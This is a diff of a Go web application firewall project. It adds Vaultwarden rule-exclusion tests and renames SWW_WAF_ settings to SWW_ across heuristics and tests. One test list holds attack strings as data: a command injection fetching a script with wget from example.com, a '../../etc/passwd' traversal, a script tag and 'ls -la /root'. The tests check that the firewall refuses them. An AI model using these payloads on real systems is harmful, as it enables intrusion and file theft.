for _, value := range vaultwardenAddresses {
|
||||
for _, f := range vaultwardenAddressFields {
|
||||
wantVaultwardenField(t, f, value, false)
|
||||
}
|
||||
|
||||
target := vaultwardenBreachReport + url.QueryEscape(value)
|
||||
if got := inspect(t, atDefaults(t), get(target)); got.Score >= vaultwardenThreshold {
|
||||
t.Errorf("%s refused: %+v", target, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// vaultwardenAttacks are an SQL injection, a script injection, a shell
|
||||
// command and a path traversal.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var vaultwardenAttacks = []string{
|
||||
injection,
|
||||
scriptTag,
|
||||
"; wget http://example.com/x.sh",
|
||||
"../../etc/passwd",
|
||||
}
|
||||
|
||||
func TestVaultwardenAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, attack := range vaultwardenAttacks {
|
||||
for _, f := range slices.Concat(vaultwardenNameFields, vaultwardenAddressFields) {
|
||||
wantVaultwardenField(t, f, attack, true)
|
||||
}
|
||||
|
||||
target := vaultwardenBreachReport + url.QueryEscape(attack)
|
||||
if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold {
|
||||
t.Errorf("%s let through: %+v", target, got)
|
||||
}
|
||||
}
|
||||
|
||||
// An address keeps 932250, which refuses a listing of files, and
|
||||
// 930120, which refuses system file names.
|
||||
for _, value := range []string{"ls -la /root", ".htaccess@example.com"} {
|
||||
for _, f := range vaultwardenAddressFields {
|
||||
wantVaultwardenField(t, f, value, true)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestVaultwardenExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
// A name keeps the rules on vault items and folders, whose names are
|
||||
// encrypted, off Vaultwarden's paths, and when the query has a field of
|
||||
// the same name.
|
||||
for _, target := range []string{
|
||||
"/api/ciphers",
|
||||
"/api/folders",
|
||||
"/x" + vaultwardenProfile,
|
||||
"/identity/other",
|
||||
vaultwardenProfile + "?json.name=python3",
|
||||
} {
|
||||
r := request{http.MethodPost, target, []string{jsonBody}}
|
||||
body := `{"name":"python3"}`
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score < vaultwardenThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", target, body, got)
|
||||
}
|
||||
}
|
||||
|
||||
for _, refused := range []struct{ target, body string }{
|
||||
{"/admin/other", `{"invitation_org_name":"python3"}`},
|
||||
{vaultwardenProfile, `{"culture":"python3"}`},
|
||||
{"/api/accounts/password-hint?json.email=python3", `{"email":"python3"}`},
|
||||
} {
|
||||
r := request{http.MethodPost, refused.target, []string{jsonBody}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, refused.body)
|
||||
if got.Score < vaultwardenThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", refused.target, refused.body, got)
|
||||
}
|
||||
}
|
||||
|
||||
r := request{http.MethodPost, "/identity/other", []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, "username=python3")
|
||||
if got.Score < vaultwardenThreshold {
|
||||
t.Errorf("POST %s username=python3 let through: %+v", r.target, got)
|
||||
}
|
||||
|
||||
target := "/api/hibp/other?username=python3"
|
||||
if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold {
|
||||
t.Errorf("%s let through: %+v", target, got)
|
||||
}
|
||||
}
|
||||
|
||||
// vaultwardenUpload returns a multipart body that uploads a file named name.
|
||||
func vaultwardenUpload(name string) string {
|
||||
return "--b\r\nContent-Disposition: form-data; name=\"data\"; filename=\"" + name +
|
||||
"\"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n" + end
|
||||
}
|
||||
|
||||
func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
encrypted := vaultwardenUpload("2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=")
|
||||
|
||||
for _, target := range []string{
|
||||
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a",
|
||||
vaultwardenCipher + "/attachment",
|
||||
vaultwardenCipher + "/attachment-admin",
|
||||
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a/share",
|
||||
"/api/sends/cd9f9460-4654-4101-8c4c-14f06f1e69ae/file/5a087a52eaa5796",
|
||||
} {
|
||||
r := request{http.MethodPost, target, []string{multipart}}
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, encrypted); got.Score >= vaultwardenThreshold {
|
||||
t.Errorf("POST %s refused: %+v", target, got)
|
||||
}
|
||||
|
||||
// The names of uploaded files keep the other rules: a path
|
||||
// traversal and a PHP script are still refused.
|
||||
for _, name := range []string{"../../etc/passwd", "x.php"} {
|
||||
got, _ := inspectBody(t, crs, r, vaultwardenUpload(name))
|
||||
if got.Score < vaultwardenThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", target, name, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, target := range []string{"/upload", vaultwardenCipher + "/other"} {
|
||||
r := request{http.MethodPost, target, []string{multipart}}
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, encrypted); got.Score < vaultwardenThreshold {
|
||||
t.Errorf("POST %s let through: %+v", target, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -3,7 +3,7 @@
|
||||
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
||||
# rules. Each comment names a request the rule refused. An exclusion on a field
|
||||
# of a body applies only when the query has no parameter of that name, so it
|
||||
# matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
|
||||
# matters only while SWW_WAF_BODY_LIMIT is set.
|
||||
|
||||
# WordPress takes a call to its REST API at any of four addresses:
|
||||
# /wp-json/wp/v2/posts/1
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic abuseipdb. It reads SWW_WAF_ABUSEIPDB_KEY,
|
||||
// SWW_WAF_ABUSEIPDB_MIN_SCORE and SWW_WAF_REPUTATION_ACTION.
|
||||
// The heuristic abuseipdb. It reads SWW_ABUSEIPDB_KEY,
|
||||
// SWW_ABUSEIPDB_MIN_SCORE and SWW_REPUTATION_ACTION.
|
||||
|
||||
import (
|
||||
"context"
|
||||
@@ -16,12 +16,12 @@ import (
|
||||
|
||||
// abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with
|
||||
// the score, when its score of the client is a hit, and refuses the request
|
||||
// when SWW_WAF_REPUTATION_ACTION is deny, as dnsbl does for a zone. While
|
||||
// SWW_WAF_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
|
||||
// when SWW_REPUTATION_ACTION is deny, as dnsbl does for a zone. While
|
||||
// SWW_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
|
||||
// checked in the background, by the request's address, if its history counts
|
||||
// an offence, and the request does not wait for the answer. The score is then
|
||||
// used for each address of the client. Its figures are the score and
|
||||
// SWW_WAF_ABUSEIPDB_MIN_SCORE.
|
||||
// SWW_ABUSEIPDB_MIN_SCORE.
|
||||
type abuseIPDB struct{}
|
||||
|
||||
func (abuseIPDB) name() string { return "abuseipdb" }
|
||||
@@ -43,7 +43,7 @@ func (abuseIPDB) check(ctx context.Context, rq *request, _ time.Time) *verdict {
|
||||
rq.abuseIPDBHit = true
|
||||
rq.addTag(config.AbuseIPDBTag)
|
||||
rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
|
||||
"scored by AbuseIPDB at or over SWW_WAF_ABUSEIPDB_MIN_SCORE")
|
||||
"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE")
|
||||
|
||||
if rq.h.config.ReputationAction != deny {
|
||||
return nil
|
||||
|
||||
@@ -51,7 +51,7 @@ func (rq *request) answerHealth() {
|
||||
|
||||
// answerAdmin answers a request for one of discriminator's own endpoints. Each
|
||||
// needs a token, sent as Authorization: Bearer <token>: the metrics
|
||||
// SWW_WAF_METRICS_TOKEN, the others SWW_WAF_ADMIN_TOKEN. A request without it is
|
||||
// SWW_METRICS_TOKEN, the others SWW_ADMIN_TOKEN. A request without it is
|
||||
// refused with 401. An endpoint whose token is unset answers 404, as any other
|
||||
// path does.
|
||||
func (rq *request) answerAdmin() {
|
||||
|
||||
@@ -17,8 +17,8 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
||||
// adminSecret is the SWW_WAF_ADMIN_TOKEN the tests set, and adminBearer
|
||||
adminToken = "SWW_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
||||
// adminSecret is the SWW_ADMIN_TOKEN the tests set, and adminBearer
|
||||
// how a request carries it.
|
||||
adminSecret = "fedcba9876543210fedcba9876543210"
|
||||
adminBearer = "Bearer " + adminSecret
|
||||
@@ -337,12 +337,12 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// adminEndpoint is a request to an endpoint SWW_WAF_ADMIN_TOKEN opens.
|
||||
// adminEndpoint is a request to an endpoint SWW_ADMIN_TOKEN opens.
|
||||
type adminEndpoint struct {
|
||||
method, path, body string
|
||||
}
|
||||
|
||||
// adminEndpoints returns a request to each endpoint SWW_WAF_ADMIN_TOKEN
|
||||
// adminEndpoints returns a request to each endpoint SWW_ADMIN_TOKEN
|
||||
// opens: listing the bans, banning otherClient for an hour, lifting the
|
||||
// bans on otherClient, and asking about otherClient.
|
||||
func adminEndpoints() []adminEndpoint {
|
||||
|
||||
@@ -15,8 +15,8 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
alertWebhookURL = "SWW_WAF_ALERT_WEBHOOK_URL"
|
||||
alertMaxPerHour = "SWW_WAF_ALERT_MAX_PER_HOUR"
|
||||
alertWebhookURL = "SWW_ALERT_WEBHOOK_URL"
|
||||
alertMaxPerHour = "SWW_ALERT_MAX_PER_HOUR"
|
||||
// alertInstance is the instance every alert of these tests gives.
|
||||
alertInstance = "fsn1app1/blog"
|
||||
)
|
||||
|
||||
@@ -21,11 +21,11 @@ import (
|
||||
// The anomaly thresholds: the prefix of a scope followed by the end of a
|
||||
// count.
|
||||
const (
|
||||
anomalyClient = "SWW_WAF_ANOMALY_CLIENT_"
|
||||
anomalyNet = "SWW_WAF_ANOMALY_NET_"
|
||||
anomalyASN = "SWW_WAF_ANOMALY_ASN_"
|
||||
anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_"
|
||||
anomalyWatch = "SWW_WAF_WATCH_"
|
||||
anomalyClient = "SWW_ANOMALY_CLIENT_"
|
||||
anomalyNet = "SWW_ANOMALY_NET_"
|
||||
anomalyASN = "SWW_ANOMALY_ASN_"
|
||||
anomalyTotal = "SWW_ANOMALY_TOTAL_"
|
||||
anomalyWatch = "SWW_WATCH_"
|
||||
|
||||
requestsPerMinute = "REQUESTS_PER_MINUTE"
|
||||
requestsPerHour = "REQUESTS_PER_HOUR"
|
||||
@@ -35,9 +35,9 @@ const (
|
||||
|
||||
// The other anomaly settings.
|
||||
const (
|
||||
anomalyNetV4Prefix = "SWW_WAF_ANOMALY_NET_V4_PREFIX"
|
||||
anomalyNetV6Prefix = "SWW_WAF_ANOMALY_NET_V6_PREFIX"
|
||||
watchNets = "SWW_WAF_WATCH_NETS"
|
||||
anomalyNetV4Prefix = "SWW_ANOMALY_NET_V4_PREFIX"
|
||||
anomalyNetV6Prefix = "SWW_ANOMALY_NET_V6_PREFIX"
|
||||
watchNets = "SWW_WATCH_NETS"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -164,9 +164,9 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
allowed = "192.0.2.7" // in SWW_WAF_ALLOW_NETS
|
||||
exempt = "192.0.2.10" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
|
||||
denied = "192.0.2.20" // in SWW_WAF_DENY_NETS
|
||||
allowed = "192.0.2.7" // in SWW_ALLOW_NETS
|
||||
exempt = "192.0.2.10" // in SWW_RATE_LIMIT_EXEMPT_NETS
|
||||
denied = "192.0.2.20" // in SWW_DENY_NETS
|
||||
)
|
||||
|
||||
s, _, _, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
|
||||
|
||||
@@ -23,10 +23,10 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
// answerTimeLimit is the default of rproxy's SWW_RPROXY_TIMEOUT_MS, the time
|
||||
// answerTimeLimit is the default of rproxy's SWRP_TIMEOUT_MS, the time
|
||||
// discriminator has to answer.
|
||||
answerTimeLimit = 2 * time.Second
|
||||
// defaultLookupWait is the default of SWW_WAF_LOOKUP_TIMEOUT.
|
||||
// defaultLookupWait is the default of SWW_LOOKUP_TIMEOUT.
|
||||
defaultLookupWait = 800 * time.Millisecond
|
||||
// The header limits SPEC.md gives.
|
||||
cookieLimit = 50
|
||||
@@ -178,7 +178,7 @@ func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
|
||||
for _, env := range []map[string]string{
|
||||
{wafMode: off},
|
||||
{wafMode: "detect"},
|
||||
{wafMode: block, "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS": "/"},
|
||||
{wafMode: block, "SWW_WAF_EXEMPT_PATHS": "/"},
|
||||
} {
|
||||
t.Run(fmt.Sprint(env), func(t *testing.T) {
|
||||
t.Parallel()
|
||||
@@ -413,7 +413,7 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
|
||||
action string
|
||||
}{
|
||||
{
|
||||
name: "SWW_WAF_DENY_NETS", env: map[string]string{denyNets: client},
|
||||
name: "SWW_DENY_NETS", env: map[string]string{denyNets: client},
|
||||
prepare: leaveAsItIs, status: forbidden, action: requestlog.ActionClientDenied,
|
||||
},
|
||||
{
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic active_ban, and the code that makes bans, which several
|
||||
// heuristics share. active_ban reads SWW_WAF_MODE; the bans are the ban ledger's.
|
||||
// heuristics share. active_ban reads SWW_MODE; the bans are the ban ledger's.
|
||||
|
||||
import (
|
||||
"context"
|
||||
@@ -15,7 +15,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// banResponse is a refusal answered with SWW_WAF_BAN_RESPONSE, and logged
|
||||
// banResponse is a refusal answered with SWW_BAN_RESPONSE, and logged
|
||||
// with action.
|
||||
func (rq *request) banResponse(action string) *refusal {
|
||||
return &refusal{status: rq.h.config.BanResponse, action: action}
|
||||
@@ -77,7 +77,7 @@ func limitFigures(hit ratelimit.Hit) map[string]any {
|
||||
|
||||
// countedBytes returns the request's bytes, once it has ended, as the
|
||||
// byte limits and the anomaly thresholds count them: the response's body
|
||||
// bytes, the request's, or both, as SWW_WAF_BYTES_COUNT says.
|
||||
// bytes, the request's, or both, as SWW_BYTES_COUNT says.
|
||||
func (rq *request) countedBytes() int64 {
|
||||
response, request := rq.out.bytes, rq.requestBytes
|
||||
|
||||
@@ -94,7 +94,7 @@ func (rq *request) countedBytes() int64 {
|
||||
// banForLimit bans the client's netblock at now for a broken limit, the
|
||||
// one hit names, notes the offence for the log line and counts the hit in
|
||||
// the metrics. status is what the client was sent, or is sent:
|
||||
// SWW_WAF_BAN_RESPONSE for a request over a rate limit, what the report says for
|
||||
// SWW_BAN_RESPONSE for a request over a rate limit, what the report says for
|
||||
// one whose bytes broke a byte limit, the refusal for one that broke the
|
||||
// error burst. The ban's notes give the client's limit percentage for a
|
||||
// rate limit or a byte limit; the error burst is not lowered. The ban sets
|
||||
@@ -237,7 +237,7 @@ func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) s
|
||||
// wouldAlertBan reports whether the alert for a ban on netblock for cause
|
||||
// made at now would be sent. In observe mode the ban the request would
|
||||
// have made is worked out only then, at most once per
|
||||
// SWW_WAF_ALERT_COOLDOWN and never with no webhook set: its notes count the
|
||||
// SWW_ALERT_COOLDOWN and never with no webhook set: its notes count the
|
||||
// netblock's requests, which can mean going through every client.
|
||||
func (rq *request) wouldAlertBan(
|
||||
netblock netip.Prefix, now time.Time, cause string,
|
||||
@@ -303,7 +303,7 @@ func (rq *request) netblockRequests(netblock netip.Prefix) int64 {
|
||||
}
|
||||
|
||||
// netblock is the netblock a ban on client covers: its IPv4 address,
|
||||
// widened to SWW_WAF_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup
|
||||
// widened to SWW_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup
|
||||
// counts it in.
|
||||
func (h *handler) netblock(client netip.Addr) netip.Prefix {
|
||||
addr := client.Unmap()
|
||||
|
||||
@@ -26,7 +26,7 @@ const (
|
||||
userAgent = "ban-test/1.0"
|
||||
// permanent is the log line's ban_expires for a permanent ban.
|
||||
permanent = "permanent"
|
||||
// banResponseClose is the SWW_WAF_BAN_RESPONSE that closes the connection.
|
||||
// banResponseClose is the SWW_BAN_RESPONSE that closes the connection.
|
||||
banResponseClose = "close"
|
||||
)
|
||||
|
||||
@@ -91,19 +91,19 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// A first ban lasts SWW_WAF_LIMIT_BAN_DURATION; one within
|
||||
// SWW_WAF_LIMIT_BAN_REPEAT_WINDOW after it ended, three times as long.
|
||||
// A first ban lasts SWW_LIMIT_BAN_DURATION; one within
|
||||
// SWW_LIMIT_BAN_REPEAT_WINDOW after it ended, three times as long.
|
||||
wantExpires(breakLimit(), 10*time.Minute)
|
||||
clk.advance(10*time.Minute + time.Hour)
|
||||
wantExpires(breakLimit(), 30*time.Minute)
|
||||
|
||||
// Later than that, SWW_WAF_LIMIT_BAN_DURATION again.
|
||||
// Later than that, SWW_LIMIT_BAN_DURATION again.
|
||||
clk.advance(30*time.Minute + time.Hour + time.Second)
|
||||
wantExpires(breakLimit(), 10*time.Minute)
|
||||
clk.advance(10 * time.Minute)
|
||||
wantExpires(breakLimit(), 30*time.Minute)
|
||||
|
||||
// 90 minutes would be longer than SWW_WAF_MAX_BAN_DURATION: the ban is
|
||||
// 90 minutes would be longer than SWW_MAX_BAN_DURATION: the ban is
|
||||
// permanent.
|
||||
clk.advance(30 * time.Minute)
|
||||
|
||||
@@ -150,8 +150,8 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
|
||||
|
||||
// In the IPv4 cases, client breaks the limit; these two are next to it.
|
||||
const (
|
||||
allowed = "203.0.113.60" // in SWW_WAF_ALLOW_NETS
|
||||
exempt = "203.0.113.50" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
|
||||
allowed = "203.0.113.60" // in SWW_ALLOW_NETS
|
||||
exempt = "203.0.113.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
|
||||
)
|
||||
|
||||
for _, tc := range []struct {
|
||||
@@ -166,7 +166,7 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
|
||||
nil, []string{otherClient, exempt},
|
||||
},
|
||||
{
|
||||
"the IPv4 netblock SWW_WAF_BAN_SCOPE_V4_PREFIX sets",
|
||||
"the IPv4 netblock SWW_BAN_SCOPE_V4_PREFIX sets",
|
||||
map[string]string{banScopeV4Prefix: "24"}, client,
|
||||
[]string{otherClient, exempt}, []string{"203.0.112.9", allowed},
|
||||
},
|
||||
@@ -175,7 +175,7 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
|
||||
[]string{"2001:db8:5::ffff:1"}, []string{"2001:db8:5:1::1"},
|
||||
},
|
||||
{
|
||||
"the IPv6 netblock SWW_WAF_IPV6_GROUP_PREFIX sets",
|
||||
"the IPv6 netblock SWW_IPV6_GROUP_PREFIX sets",
|
||||
map[string]string{ipv6GroupPrefix: "48"}, "2001:db8:7::1",
|
||||
[]string{"2001:db8:7:ffff::1"}, []string{"2001:db8:8::1"},
|
||||
},
|
||||
@@ -249,10 +249,10 @@ func TestRefusalUnderABanNamesItsHeuristicNetblockAndEnd(t *testing.T) {
|
||||
func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const denied = "192.0.2.50" // in SWW_WAF_DENY_NETS
|
||||
const denied = "192.0.2.50" // in SWW_DENY_NETS
|
||||
|
||||
for _, tc := range []struct {
|
||||
setting string // "" leaves SWW_WAF_BAN_RESPONSE at its default
|
||||
setting string // "" leaves SWW_BAN_RESPONSE at its default
|
||||
status int // 0 is the connection closed without an answer
|
||||
}{
|
||||
{"", http.StatusForbidden},
|
||||
|
||||
@@ -17,9 +17,9 @@ type percentage struct {
|
||||
}
|
||||
|
||||
// biasedThresholdsSet reports whether a biased threshold can lower a
|
||||
// client's limits by its lookup: SWW_WAF_ASN_BYTES_PERCENT or
|
||||
// SWW_WAF_COUNTRY_BYTES_PERCENT is not empty, SWW_WAF_UNKNOWN_LIMIT_PERCENT is
|
||||
// below 100, or SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
|
||||
// client's limits by its lookup: SWW_ASN_BYTES_PERCENT or
|
||||
// SWW_COUNTRY_BYTES_PERCENT is not empty, SWW_UNKNOWN_LIMIT_PERCENT is
|
||||
// below 100, or SWW_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
|
||||
// then needed before its request goes on.
|
||||
func biasedThresholdsSet(cfg *config.Config) bool {
|
||||
return len(cfg.ASNBytesPercent) > 0 || len(cfg.CountryBytesPercent) > 0 ||
|
||||
@@ -31,15 +31,15 @@ func biasedThresholdsSet(cfg *config.Config) bool {
|
||||
// as looked up, each "" when unknown, and the blocklists, DNSBL zones and
|
||||
// AbuseIPDB that list it. Each is the lowest of those the settings give
|
||||
// it, the first of them in the order below when several are lowest: the
|
||||
// percentage SWW_WAF_TAG_LIMIT_PERCENT gives its asn= tag, the one the file
|
||||
// SWW_WAF_ASN_LIMIT_PERCENT_URL names gives its AS number, the one
|
||||
// SWW_WAF_TAG_LIMIT_PERCENT gives its country= tag, the lowest it gives its
|
||||
// percentage SWW_TAG_LIMIT_PERCENT gives its asn= tag, the one the file
|
||||
// SWW_ASN_LIMIT_PERCENT_URL names gives its AS number, the one
|
||||
// SWW_TAG_LIMIT_PERCENT gives its country= tag, the lowest it gives its
|
||||
// other tags, for a client without a country, unless its request skipped
|
||||
// the wait for GeoJS, SWW_WAF_UNKNOWN_LIMIT_PERCENT, for a client a blocklist
|
||||
// lists, the percentage of SWW_WAF_BLOCKLIST_ACTION while it is limit, and
|
||||
// the wait for GeoJS, SWW_UNKNOWN_LIMIT_PERCENT, for a client a blocklist
|
||||
// lists, the percentage of SWW_BLOCKLIST_ACTION while it is limit, and
|
||||
// for a client a DNSBL zone's verdict lists, or whose AbuseIPDB score is
|
||||
// a hit, the percentage of SWW_WAF_REPUTATION_ACTION while it is limit. For
|
||||
// the byte limits, SWW_WAF_ASN_BYTES_PERCENT and SWW_WAF_COUNTRY_BYTES_PERCENT
|
||||
// a hit, the percentage of SWW_REPUTATION_ACTION while it is limit. For
|
||||
// the byte limits, SWW_ASN_BYTES_PERCENT and SWW_COUNTRY_BYTES_PERCENT
|
||||
// take the place of the first three for an AS number or a country they
|
||||
// list.
|
||||
func (rq *request) limitPercentages() (percentage, percentage) {
|
||||
@@ -48,25 +48,25 @@ func (rq *request) limitPercentages() (percentage, percentage) {
|
||||
|
||||
unknown := percentage{percent: whole}
|
||||
if country == "" && !rq.skippedLookupWait {
|
||||
unknown = percentage{cfg.UnknownLimitPercent, "SWW_WAF_UNKNOWN_LIMIT_PERCENT"}
|
||||
unknown = percentage{cfg.UnknownLimitPercent, "SWW_UNKNOWN_LIMIT_PERCENT"}
|
||||
}
|
||||
|
||||
fetched := percentage{percent: whole}
|
||||
if percent, listed := rq.h.lists.ASNLimitPercent(asn); listed {
|
||||
fetched = percentage{percent, "SWW_WAF_ASN_LIMIT_PERCENT_URL"}
|
||||
fetched = percentage{percent, "SWW_ASN_LIMIT_PERCENT_URL"}
|
||||
}
|
||||
|
||||
blocklisted := percentage{percent: whole}
|
||||
if rq.blocklisted && cfg.BlocklistAction == "limit" {
|
||||
blocklisted = percentage{cfg.BlocklistLimitPercent, "SWW_WAF_BLOCKLIST_ACTION"}
|
||||
blocklisted = percentage{cfg.BlocklistLimitPercent, "SWW_BLOCKLIST_ACTION"}
|
||||
}
|
||||
|
||||
reputationListed := percentage{percent: whole}
|
||||
if (rq.dnsblListed || rq.abuseIPDBHit) && cfg.ReputationAction == "limit" {
|
||||
reputationListed = percentage{cfg.ReputationLimitPercent, "SWW_WAF_REPUTATION_ACTION"}
|
||||
reputationListed = percentage{cfg.ReputationLimitPercent, "SWW_REPUTATION_ACTION"}
|
||||
}
|
||||
|
||||
const tagSetting = "SWW_WAF_TAG_LIMIT_PERCENT"
|
||||
const tagSetting = "SWW_TAG_LIMIT_PERCENT"
|
||||
|
||||
asnRequests := lowest(given(cfg.TagLimitPercent, asnTag(asn), tagSetting), fetched)
|
||||
countryRequests := given(cfg.TagLimitPercent, countryTag(country), tagSetting)
|
||||
@@ -81,12 +81,11 @@ func (rq *request) limitPercentages() (percentage, percentage) {
|
||||
|
||||
asnBytes, countryBytes := asnRequests, countryRequests
|
||||
if _, listed := cfg.ASNBytesPercent[asn]; listed {
|
||||
asnBytes = given(cfg.ASNBytesPercent, asn, "SWW_WAF_ASN_BYTES_PERCENT")
|
||||
asnBytes = given(cfg.ASNBytesPercent, asn, "SWW_ASN_BYTES_PERCENT")
|
||||
}
|
||||
|
||||
if _, listed := cfg.CountryBytesPercent[country]; listed {
|
||||
countryBytes = given(cfg.CountryBytesPercent, country,
|
||||
"SWW_WAF_COUNTRY_BYTES_PERCENT")
|
||||
countryBytes = given(cfg.CountryBytesPercent, country, "SWW_COUNTRY_BYTES_PERCENT")
|
||||
}
|
||||
|
||||
return lowest(asnRequests, countryRequests, otherTags, unknown, blocklisted,
|
||||
|
||||
@@ -22,10 +22,10 @@ import (
|
||||
|
||||
// The biased thresholds.
|
||||
const (
|
||||
tagLimitPercent = "SWW_WAF_TAG_LIMIT_PERCENT"
|
||||
asnBytesPercent = "SWW_WAF_ASN_BYTES_PERCENT"
|
||||
countryBytesPercent = "SWW_WAF_COUNTRY_BYTES_PERCENT"
|
||||
unknownLimitPercent = "SWW_WAF_UNKNOWN_LIMIT_PERCENT"
|
||||
tagLimitPercent = "SWW_TAG_LIMIT_PERCENT"
|
||||
asnBytesPercent = "SWW_ASN_BYTES_PERCENT"
|
||||
countryBytesPercent = "SWW_COUNTRY_BYTES_PERCENT"
|
||||
unknownLimitPercent = "SWW_UNKNOWN_LIMIT_PERCENT"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -34,7 +34,7 @@ const (
|
||||
asnDEHalf = asnDE + ":50"
|
||||
asnDEQuarter = asnDE + ":25"
|
||||
countryDEHalf = "de:50"
|
||||
// The same, as SWW_WAF_TAG_LIMIT_PERCENT names fromDE's tags.
|
||||
// The same, as SWW_TAG_LIMIT_PERCENT names fromDE's tags.
|
||||
asnTagDEHalf = "asn=64496:50"
|
||||
asnTagDEQuarter = "asn=64496:25"
|
||||
countryTagDEHalf = "country=DE:50"
|
||||
@@ -240,7 +240,7 @@ func TestLowestPercentageApplies(t *testing.T) {
|
||||
noCountry, "25 from " + unknownLimitPercent,
|
||||
},
|
||||
{
|
||||
// SWW_WAF_UNKNOWN_LIMIT_PERCENT is left at its default, 100.
|
||||
// SWW_UNKNOWN_LIMIT_PERCENT is left at its default, 100.
|
||||
"the AS number's, for a client without a country",
|
||||
map[string]string{tagLimitPercent: "asn=64500:25"},
|
||||
noCountry, "25 from " + tagLimitPercent,
|
||||
@@ -505,7 +505,7 @@ func wantPercent(t *testing.T, what string, percent *int64, setting, want string
|
||||
}
|
||||
|
||||
// percentText gives a limit percentage and the setting that gave it as
|
||||
// text, such as "50 from SWW_WAF_TAG_LIMIT_PERCENT", or none when both are
|
||||
// text, such as "50 from SWW_TAG_LIMIT_PERCENT", or none when both are
|
||||
// left out.
|
||||
func percentText(percent *int64, setting string) string {
|
||||
switch {
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic blocklists. It reads SWW_WAF_BLOCKLIST_ACTION, and the blocklists
|
||||
// The heuristic blocklists. It reads SWW_BLOCKLIST_ACTION, and the blocklists
|
||||
// through the reputation lists.
|
||||
|
||||
import (
|
||||
@@ -11,7 +11,7 @@ import (
|
||||
)
|
||||
|
||||
// blocklists notes the blocklists that list the client, as noteListed does,
|
||||
// and refuses the request when SWW_WAF_BLOCKLIST_ACTION is deny. Being limit, it
|
||||
// and refuses the request when SWW_BLOCKLIST_ACTION is deny. Being limit, it
|
||||
// lowers the client's limits instead (see limitPercentages), and being log, it
|
||||
// does nothing more. Its figure is the blocklists that list the client.
|
||||
type blocklists struct{}
|
||||
@@ -35,7 +35,7 @@ func (blocklists) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
||||
|
||||
// refusedByBlocklists reports whether the heuristic blocklists refuses a
|
||||
// client, given listedBy, the blocklists that list it: it does when one lists
|
||||
// it and SWW_WAF_BLOCKLIST_ACTION is deny.
|
||||
// it and SWW_BLOCKLIST_ACTION is deny.
|
||||
func (rq *request) refusedByBlocklists(listedBy []string) bool {
|
||||
return len(listedBy) > 0 && rq.h.config.BlocklistAction == deny
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
package discriminator
|
||||
|
||||
